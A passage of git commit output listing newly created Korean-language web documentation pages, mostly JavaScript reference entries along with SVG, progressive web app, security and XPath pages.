files/ko/web/javascript/reference/global_objects/date/getutcday/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutchours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/now/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/parse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/sethours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/settime/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutchours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/todatestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/toisostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/tojson/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/utc/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/decodeuri/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/encodeuri/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/error/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/error/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/eval/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/arguments/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/bind/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/call/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/next/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/return/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/throw/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/globalthis/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/internalerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/locale/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/isfinite/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/isnan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/parse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/stringify/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/clear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/get/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/size/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/abs/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/acos/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/cbrt/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ceil/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/exp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/floor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/fround/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/imul/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ln10/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ln2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log10e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log2e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/max/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/min/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/pi/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/random/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/round/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sign/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sin/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sinh/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sqrt/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/tan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/tanh/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/trunc/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/nan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/null/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/epsilon/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isfinite/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isinteger/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isnan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/max_value/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/min_value/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/nan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/parseint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/toexponential/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/tofixed/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/toprecision/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/assign/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/constructor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/create/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/freeze/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/fromentries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/is/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isextensible/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/issealed/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/observe/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/seal/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/parsefloat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/parseint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/all/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/finally/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/promise/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/race/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/reject/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/resolve/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/then/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/handler/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/construct/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/get/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/exec/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/n/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/test/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/add/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/clear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/size/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/charat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/concat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/endswith/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/includes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/localecompare/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/match/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/normalize/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/padend/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/padstart/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/repeat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/replace/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/search/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/split/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/startswith/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/substr/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/substring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/touppercase/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/trim/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/for/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/of/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/some/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/undefined/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/uneval/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/global/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/module/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/table/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html create mode 100644 files/ko/web/javascript/reference/index.html create mode 100644 files/ko/web/javascript/reference/iteration_protocols/index.html create mode 100644 files/ko/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/ko/web/javascript/reference/liveconnect/index.html create mode 100644 files/ko/web/javascript/reference/operators/addition/index.html create mode 100644 files/ko/web/javascript/reference/operators/arithmetic_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/assignment_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/async_function/index.html create mode 100644 files/ko/web/javascript/reference/operators/await/index.html create mode 100644 files/ko/web/javascript/reference/operators/bitwise_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/class/index.html create mode 100644 files/ko/web/javascript/reference/operators/comma_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/comparison_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/conditional_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/delete/index.html create mode 100644 files/ko/web/javascript/reference/operators/destructuring_assignment/index.html create mode 100644 files/ko/web/javascript/reference/operators/equality/index.html create mode 100644 files/ko/web/javascript/reference/operators/expression_closures/index.html create mode 100644 files/ko/web/javascript/reference/operators/function/index.html create mode 100644 files/ko/web/javascript/reference/operators/function_star_/index.html create mode 100644 files/ko/web/javascript/reference/operators/generator_comprehensions/index.html create mode 100644 files/ko/web/javascript/reference/operators/grouping/index.html create mode 100644 files/ko/web/javascript/reference/operators/in/index.html create mode 100644 files/ko/web/javascript/reference/operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/instanceof/index.html create mode 100644 files/ko/web/javascript/reference/operators/new.target/index.html create mode 100644 files/ko/web/javascript/reference/operators/new/index.html create mode 100644 files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/object_initializer/index.html create mode 100644 files/ko/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/ko/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/property_accessors/index.html create mode 100644 files/ko/web/javascript/reference/operators/remainder/index.html create mode 100644 files/ko/web/javascript/reference/operators/spread_syntax/index.html create mode 100644 files/ko/web/javascript/reference/operators/super/index.html create mode 100644 files/ko/web/javascript/reference/operators/this/index.html create mode 100644 files/ko/web/javascript/reference/operators/typeof/index.html create mode 100644 files/ko/web/javascript/reference/operators/void/index.html create mode 100644 files/ko/web/javascript/reference/operators/yield/index.html create mode 100644 files/ko/web/javascript/reference/operators/yield_star_/index.html create mode 100644 "files/ko/web/javascript/reference/operators/\353\205\274\353\246\254_\354\227\260\354\202\260\354\236\220(logical_operators)/index.html" create mode 100644 "files/ko/web/javascript/reference/operators/\353\260\260\354\227\264/index.html" create mode 100644 "files/ko/web/javascript/reference/operators/\354\227\260\354\202\260\354\236\220_\354\232\260\354\204\240\354\210\234\354\234\204/index.html" create mode 100644 files/ko/web/javascript/reference/statements/async_function/index.html create mode 100644 files/ko/web/javascript/reference/statements/block/index.html create mode 100644 files/ko/web/javascript/reference/statements/break/index.html create mode 100644 files/ko/web/javascript/reference/statements/class/index.html create mode 100644 files/ko/web/javascript/reference/statements/const/index.html create mode 100644 files/ko/web/javascript/reference/statements/continue/index.html create mode 100644 files/ko/web/javascript/reference/statements/debugger/index.html create mode 100644 files/ko/web/javascript/reference/statements/default/index.html create mode 100644 files/ko/web/javascript/reference/statements/do...while/index.html create mode 100644 files/ko/web/javascript/reference/statements/empty/index.html create mode 100644 files/ko/web/javascript/reference/statements/export/index.html create mode 100644 files/ko/web/javascript/reference/statements/for-await...of/index.html create mode 100644 files/ko/web/javascript/reference/statements/for...in/index.html create mode 100644 files/ko/web/javascript/reference/statements/for...of/index.html create mode 100644 files/ko/web/javascript/reference/statements/for/index.html create mode 100644 files/ko/web/javascript/reference/statements/for_each...in/index.html create mode 100644 files/ko/web/javascript/reference/statements/function/index.html create mode 100644 files/ko/web/javascript/reference/statements/function_star_/index.html create mode 100644 files/ko/web/javascript/reference/statements/if...else/index.html create mode 100644 files/ko/web/javascript/reference/statements/import/index.html create mode 100644 files/ko/web/javascript/reference/statements/index.html create mode 100644 files/ko/web/javascript/reference/statements/label/index.html create mode 100644 files/ko/web/javascript/reference/statements/let/index.html create mode 100644 files/ko/web/javascript/reference/statements/return/index.html create mode 100644 files/ko/web/javascript/reference/statements/switch/index.html create mode 100644 files/ko/web/javascript/reference/statements/throw/index.html create mode 100644 files/ko/web/javascript/reference/statements/try...catch/index.html create mode 100644 files/ko/web/javascript/reference/statements/var/index.html create mode 100644 files/ko/web/javascript/reference/statements/while/index.html create mode 100644 files/ko/web/javascript/reference/statements/with/index.html create mode 100644 files/ko/web/javascript/reference/strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/template_literals/index.html create mode 100644 files/ko/web/javascript/reference/trailing_commas/index.html create mode 100644 files/ko/web/javascript/typed_arrays/index.html create mode 100644 "files/ko/web/javascript/\354\211\230/index.html" create mode 100644 "files/ko/web/javascript/\354\213\234\354\236\221\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/web/javascript/\354\226\270\354\226\264_\353\246\254\354\206\214\354\212\244/index.html" create mode 100644 files/ko/web/manifest/index.html create mode 100644 files/ko/web/mathml/index.html create mode 100644 files/ko/web/media/autoplay_guide/index.html create mode 100644 files/ko/web/media/formats/index.html create mode 100644 "files/ko/web/media/formats/\353\271\204\353\224\224\354\230\244\354\275\224\353\215\261/index.html" create mode 100644 "files/ko/web/media/formats/\354\273\250\355\205\214\354\235\264\353\204\210/index.html" create mode 100644 "files/ko/web/media/formats/\354\275\224\353\215\261\355\214\214\353\235\274\353\257\270\355\204\260/index.html" create mode 100644 files/ko/web/media/index.html create mode 100644 files/ko/web/performance/index.html create mode 100644 "files/ko/web/performance/\353\270\214\353\235\274\354\232\260\354\240\200\353\212\224_\354\226\264\353\226\273\352\262\214_\353\217\231\354\236\221\355\225\230\353\212\224\352\260\200/index.html" create mode 100644 "files/ko/web/performance/\354\244\221\354\232\224_\353\240\214\353\215\224\353\247\201_\352\262\275\353\241\234/index.html" create mode 100644 files/ko/web/progressive_web_apps/add_to_home_screen/index.html create mode 100644 files/ko/web/progressive_web_apps/app_structure/index.html create mode 100644 files/ko/web/progressive_web_apps/index.html create mode 100644 files/ko/web/progressive_web_apps/installable_pwas/index.html create mode 100644 files/ko/web/progressive_web_apps/offline_service_workers/index.html create mode 100644 files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html create mode 100644 "files/ko/web/progressive_web_apps/\354\206\214\352\260\234/index.html" create mode 100644 files/ko/web/security/index.html create mode 100644 files/ko/web/security/insecure_passwords/index.html create mode 100644 files/ko/web/security/same-origin_policy/index.html create mode 100644 files/ko/web/security/transport_layer_security/index.html create mode 100644 "files/ko/web/security/\354\240\225\353\263\264_\353\263\264\354\225\210_\352\270\260\353\263\270/index.html" create mode 100644 "files/ko/web/security/\354\240\225\353\263\264_\353\263\264\354\225\210_\352\270\260\353\263\270/\354\267\250\354\225\275\354\240\220/index.html" create mode 100644 files/ko/web/svg/applying_svg_effects_to_html_content/index.html create mode 100644 files/ko/web/svg/attribute/calcmode/index.html create mode 100644 files/ko/web/svg/attribute/cx/index.html create mode 100644 files/ko/web/svg/attribute/d/index.html create mode 100644 files/ko/web/svg/attribute/index.html create mode 100644 files/ko/web/svg/attribute/keytimes/index.html create mode 100644 files/ko/web/svg/attribute/values/index.html create mode 100644 files/ko/web/svg/attribute/version/index.html create mode 100644 files/ko/web/svg/attribute/viewbox/index.html create mode 100644 files/ko/web/svg/element/a/index.html create mode 100644 files/ko/web/svg/element/altglyph/index.html create mode 100644 files/ko/web/svg/element/circle/index.html create mode 100644 files/ko/web/svg/element/ellipse/index.html create mode 100644 files/ko/web/svg/element/index.html create mode 100644 "files/ko/web/svg/element/\354\202\254\352\260\201\355\230\225/index.html" create mode 100644 files/ko/web/svg/index.html create mode 100644 files/ko/web/svg/tutorial/index.html create mode 100644 files/ko/web/svg/tutorial/introduction/index.html create mode 100644 files/ko/web/svg/tutorial/paths/index.html create mode 100644 files/ko/web/svg/tutorial/patterns/index.html create mode 100644 files/ko/web/svg/tutorial/svg_image_tag/index.html create mode 100644 files/ko/web/svg/tutorial/svg_in_html_introduction/index.html create mode 100644 "files/ko/web/svg/tutorial/\352\270\260\353\263\270_\353\217\204\355\230\225/index.html" create mode 100644 "files/ko/web/svg/tutorial/\354\213\234\354\236\221\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/web/svg/tutorial/\354\234\204\354\271\230/index.html" create mode 100644 files/ko/web/tutorials/index.html create mode 100644 files/ko/web/web_components/index.html create mode 100644 files/ko/web/web_components/using_custom_elements/index.html create mode 100644 files/ko/web/web_components/using_shadow_dom/index.html create mode 100644 files/ko/web/xml/index.html create mode 100644 files/ko/web/xml/xml_introduction/index.html create mode 100644 files/ko/web/xpath/axes/ancestor-or-self/index.html create mode 100644 files/ko/web/xpath/axes/ancestor/index.html create mode 100644 files/ko/web/xpath/axes/attribute/index.html create mode 100644 files/ko/web/xpath/axes/child/index.html create mode 100644 files/ko/web/xpath/axes/descendant-or-self/index.html create mode 100644 files/ko/web/xpath/axes/descendant/index.html create mode 100644 files/ko/web/xpath/axes/following-sibling/index.html create mode 100644 files/ko/web/xpath/axes/following/index.html create mode 100644 files/ko/web/xpath/axes/index.html create mode 100644 files/ko/web/xpath/axes/namespace/index.html create mode 100644 files/ko/web/xpath/axes/parent/index.html create mode 100644 